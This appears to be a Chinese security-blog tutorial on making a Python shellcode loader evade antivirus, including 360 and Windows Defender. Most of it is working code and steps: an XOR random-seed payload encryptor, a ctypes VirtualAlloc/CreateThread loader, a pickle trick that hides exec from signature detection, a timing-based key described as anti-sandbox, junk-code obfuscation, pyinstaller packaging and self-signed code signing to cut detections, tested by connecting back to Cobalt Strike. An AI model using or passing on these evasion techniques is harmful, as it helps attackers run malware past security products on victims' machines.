1 前言2 效果图3 前置知识4 制作免杀5 源码下载6 加载器下载
01
前言
Python 实现VT全免杀,可以说静态免杀拉满了,过360动态免杀,火绒没有测试,不过火绒和360半斤八两就是了,windows denfender过静态,动态gg。这几天研究了几天Python免杀过windows denfender,网上能找到的方法基本都试了,还是没有过动态windows denfender免杀,期间试了花指令,exec加载 反序列化,exec分块加解密加载,更换shellcode加载器换了七八种常见的和不常见的加载器(文末分享)以及动态加载windows回调api执行shellcode,都没有过动态免杀,基本都在上线几秒钟被杀。
02
效果图
这是两天前的效果图:
这是最新的效果图:
360:
03
前置知识
python免杀比C 免杀难得多,很多杀毒不管三七二一直接将python打包的exe列为恶意文件。因此python免杀要从shellcode加解密、shellcode加载器、编译和签名四个方面下手。
shellcode加解密使用改写成python版的自定义的异或随机值加解密:
代码语言:javascript复制import random
def decrypt(input_bytes, key):
output = bytearray(len(input_bytes))
random.seed(key)
for i in range(len(input_bytes)):
output[i] = input_bytes[i] ^ (random.randint(1, len(input_bytes)) & 0xff)
output[i] = output[i] ^ key
return output
def encrypt(input_bytes, key):
output = bytearray(len(input_bytes))
random.seed(key)
for i in range(len(input_bytes)):
output[i] = input_bytes[i] ^ key
output[i] = output[i] ^ (random.randint(1, len(input_bytes)) & 0xff)
return output
if __name__ == '__main__':
input_content = b'shellcode'
key = 156
# 加密文本使用:input_content.encode('utf-8')
encrypted = encrypt(input_content, key)
# 解密文本使用:decrypted.decode('utf-8')
decrypted = decrypt(encrypted, key)
print("encrypted: ", end='')
for i in encrypted:
print("\xx" % i, end='')
print("ndecrypted: ", decrypted)
由于python的特性,密钥只能是1-255之间,后面还要使用随机值时间碰撞解密因此密钥最后是100-200之间。
我更换了七八种shellcode加载器,先是常见一点的shellcode加载器,后面是自己写的比较罕见shellcode加载器,都不能过windows denfender,而360不管使用什么加载器都能动态免杀,因此这里随便一点,使用最常见的创建线程加载器:
代码语言:javascript复制import ctypes
buf = b"shellcode"
VirtualAlloc = ctypes.windll.kernel32.VirtualAlloc
RtlMoveMemory = ctypes.windll.kernel32.RtlMoveMemory
CreateThread = ctypes.windll.kernel32.CreateThread
WaitForSingleObject = ctypes.windll.kernel32.WaitForSingleObject
shellcode = bytearray(buf)
VirtualAlloc.restype = ctypes.c_void_p # 重载函数返回类型为void
p = VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), 0x3000, 0x00000040) # 申请内存
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) # 将shellcode指向指针
RtlMoveMemory(ctypes.c_void_p(p), buf, ctypes.c_int(len(shellcode))) # 复制shellcode进申请的内存中
h = CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_void_p(p), ctypes.c_int(0), ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))) # 执行创建线程
WaitForSingleObject(ctypes.c_int(h), ctypes.c_int(-1)) # 检测线程创建事件
这里采用将shellcode加载器整体使用自定义的异或随机值加密在采用一个加载器来加载,一开始将shellcode加载器整体加密后直接使用exec执行,被360动态查杀直接杀了。后面发现360的特征码是同时使用ctypes库和exec函数,ctypes库是一定要使用的,只能在exec上做文章,不能直接使用exec函数,但是可以使用pickle库将exec序列化,之后将exec序列化后的字符串再使用自定义的异或随机值加密:
代码语言:javascript复制import pickle
a = None
class RunOnDeserialize:
def __reduce__(self):
return (exec, ("a = exec",))
payload = pickle.dumps(RunOnDeserialize())
print(payload)
pickle.loads(payload)
print(a)
通过反序列化将exec函数赋值给a,再用a来执行shellcode加载器。
shellcode加载器的加载器:
代码语言:javascript复制import time
import random
import pickle
import ctypes
def decrypt(input_bytes, key):
output = bytearray(len(input_bytes))
random.seed(key)
for i in range(len(input_bytes)):
output[i] = input_bytes[i] ^ (random.randint(1, len(input_bytes)) & 0xff)
output[i] = output[i] ^ key
return output
if __name__ == '__main__':
buf = b"加密的shellcode加载器"
for i in range(1, 1000):
start_time = time.time()
time.sleep(0.1)
end_time = time.time()
elapsed_time = int((end_time - start_time) * 1000)
random.seed(i)
# 随机值时间碰撞解密
key = 156 - 100 - 10 elapsed_time random.randint(0, 20)
decrypted = decrypt(buf, key)
if key == 156:
print('start')
a = None
# 反序列化,将a赋值为exec函数
pickle.loads(decrypt(b"x3cx83x19xafx96x93x97x95xb8x81x85x06x9exf8xe3xfcxf1xf5xf6xd1xf5x11x11xbdxd2xf3xfexecx10x0bx22x36x9exdcxa2xaaxadxfbxe7xe9xfax0dx13x15xdcx1bxbb", key))
# 执行shellcode加载器
a(decrypted.decode('utf-8'))
break
采用将shellcode加载器整体使用自定义的异或随机值加密的方式,用 pickle.loads
反序列化执行 "a = exec",a变成exec函数,再执行解密后的shellcode加载器。shellcode加载器解密使用前面文章将过的随机值时间碰撞解密,密钥156先减去100毫秒,再减去10,再加上时间差和0-20的随机数重复1000次保证碰撞出原key,再用if判断前key是否等于156,相等则加载shellcode,最后break退出循环。
为什么key要先减去100毫秒,再减去10,再加上时间差和0-20的随机数重复1000次保证碰撞出原key这么麻烦的一步?
这是为了扰乱杀软逆推出原来的shellcode,同时有反沙箱的效果。
然后到编译,使用pyinstaller编译时不要使用 -w
去除启动窗口,不然将导致报毒增多。
下面是一点冒泡排序的算法,用pyinstaller分别使用-w和不hi有-w参数编译,看看VT查杀情况:
代码语言:javascript复制def hua4bubble_sort(arr):
n = len(arr)
for i in range(n):
for j in range(n - i - 1):
if arr[j] > arr[j 1]:
arr[j], arr[j 1] = arr[j 1], arr[j]
hua4arr = [5, 2, 9, 1, 5, 6]
hua4bubble_sort(hua4arr)
print(hua4arr)
代码语言:javascript复制pyinstaller -F scl.py -w --clean
代码语言:javascript复制pyinstaller -F scl.py --clean
可以看到使用-w参数后报毒增加了俩。
最后一步是签名,给python打包的exe签名至少减少一半的报毒,下面用不加-w参数打包的exe进行签名,这里使用的是微软官方的SignTool签名工具,而不是使用sigthief工具进行签名窃取,因为VT上已经有杀软会效验签名了。
先使用Signtool GUI工具生成一份签名证书:
之后在桌面上会生成四个文件,我们只需要使用其中的.pfx来给exe进行签名。
使用命令:
代码语言:javascript复制signtool.exe sign /f "C:UsersAnonymousDesktopCert_360.pfx" /a /p Technology "C:UsersAnonymousDesktopdistscl.exe"
签名完成,上传VT:
可以看到报毒又少了俩。
下面开始制作免杀。
04
制作免杀
复制shellcode加载器到自定义的异或随机值加解密进行加密,字符串前面要加r,同时要用encode('utf-8')进行编码:
复制下面加密后的16进制代码到shellcode加载器的加载器:
这时可以运行测试下能否上线cs。
然后对代码进行混淆,先更改变量名为随机字符串:
再插入大量花代码:
使用pyinstaller打包:
代码语言:javascript复制pyinstaller -F scl.py --clean
使用signtool和签名的证书对打包后的exe进行签名:
代码语言:javascript复制signtool.exe sign /f "C:UsersAnonymousDesktopCert_360.pfx" /a /p Technology "C:UsersAnonymousDesktopdistscl.exe"
上传VT测试:
运行exe,360动态无反应:
至此免杀制作完成。
05
源码下载
关注微信公众号回复:
30222
06
8种加载器下载
锦鲤安全
一个安全技术学习与工具分享平台
点分享
点收藏
点点赞
点在看